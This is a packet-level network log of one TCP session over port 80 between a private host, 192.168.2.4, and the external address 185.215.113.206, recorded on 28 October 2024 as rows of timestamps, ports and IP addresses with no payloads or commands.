Oct 28, 2024 06:27:27.967430115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967442036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967442989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967463017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967473030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967475891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967489958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967490911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967502117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967525959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967539072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967546940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967549086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967578888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967639923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967650890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967660904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967684984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967703104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967848063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967859030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967870951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967888117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967896938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967900038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967911959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.967921972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.967943907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968055010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968067884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968079090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968090057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968101025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968112946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968112946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968131065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968141079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968141079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968148947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968163013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968173027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968173981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968183994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968194962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968195915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968213081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968215942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968229055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968244076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968245029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968257904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:27.968267918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968291044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:27.968311071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006150007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006165028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006175041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006185055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006196976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006206989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006277084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006278038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006319046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006328106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006336927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006349087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006356955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006360054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006371021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006396055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006426096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006453991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006464005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006479979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006491899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006503105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006504059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006513119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006526947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006526947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006539106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006550074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006552935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006588936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006598949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006598949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006611109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006624937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006654978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006725073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006736040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006746054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.006776094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.006791115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.081950903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.081974030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082029104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082031965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082045078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082056046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082067966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082068920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082087994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082098961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082099915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082110882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082134008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082148075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082164049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082175016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082185030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082195997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082206964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082226038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082264900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082277060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082288027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082298994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082313061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082328081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082346916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082355022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082364082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082386017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082387924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082402945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082406044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082415104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082436085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082453012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082458973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082467079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082479000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082495928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082495928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082508087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082514048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082528114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082540989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082551003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082552910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082577944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082600117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082611084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082621098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082644939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082653999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082654953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082681894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082686901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082691908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082719088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082720995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082730055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082743883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082750082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082757950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082787991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082787991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082798958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082808018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082825899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082829952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082849979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082866907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082874060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082880020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082890034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082911968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082923889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.082979918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082989931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.082999945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083012104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083026886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083031893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083031893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083061934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083086967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083112955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083125114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083126068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083159924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083178997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083188057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083198071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083209991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.083219051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083240986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.083278894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087347031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087372065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087385893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087399006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087409019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087435961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087462902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087474108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087491035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087503910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087516069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087518930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087527037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087543011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087549925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087555885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087563038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087585926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087596893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087616920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087636948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087646008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087647915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087672949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087692022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087728024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087745905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087755919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087766886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.087779045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087785006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087826967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.087991953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088001966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088036060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088076115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088085890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088095903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088104963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088116884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088129997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088143110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088182926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088231087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088234901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088246107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088257074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088268995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088279963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088289022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088294029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088299990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088315964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088325977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088336945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088362932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088362932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088452101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088464975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088474989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088496923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088511944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088560104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088571072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088581085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088606119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088618994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088700056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088710070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088747025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088876009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088887930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088897943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088929892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088932037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088943958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088953972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088954926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.088959932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.088987112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089004993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089092016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089103937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089114904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089124918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089133978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089137077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089147091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089183092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089194059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089205980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089216948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089247942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089262962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089293003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089304924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089314938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089328051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089338064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089354992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089379072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089437962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089456081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089468002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089483023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089483976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.089493036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.089519024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126477003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126523018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126533985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126543999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126584053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126601934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126688004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126735926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126748085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126777887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126777887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126791000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126805067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126825094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126835108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126836061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126847982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126863003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126868010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126887083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126904964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126904964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.126929998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126960993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126972914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.126996994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127023935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127024889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127036095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127074957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127094984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127106905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127135992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127137899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127146959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127151966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127176046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127176046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127176046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:28.127180099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127190113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:28.127199888 CET	80	49758	185.215.113.206	192.168.2.4
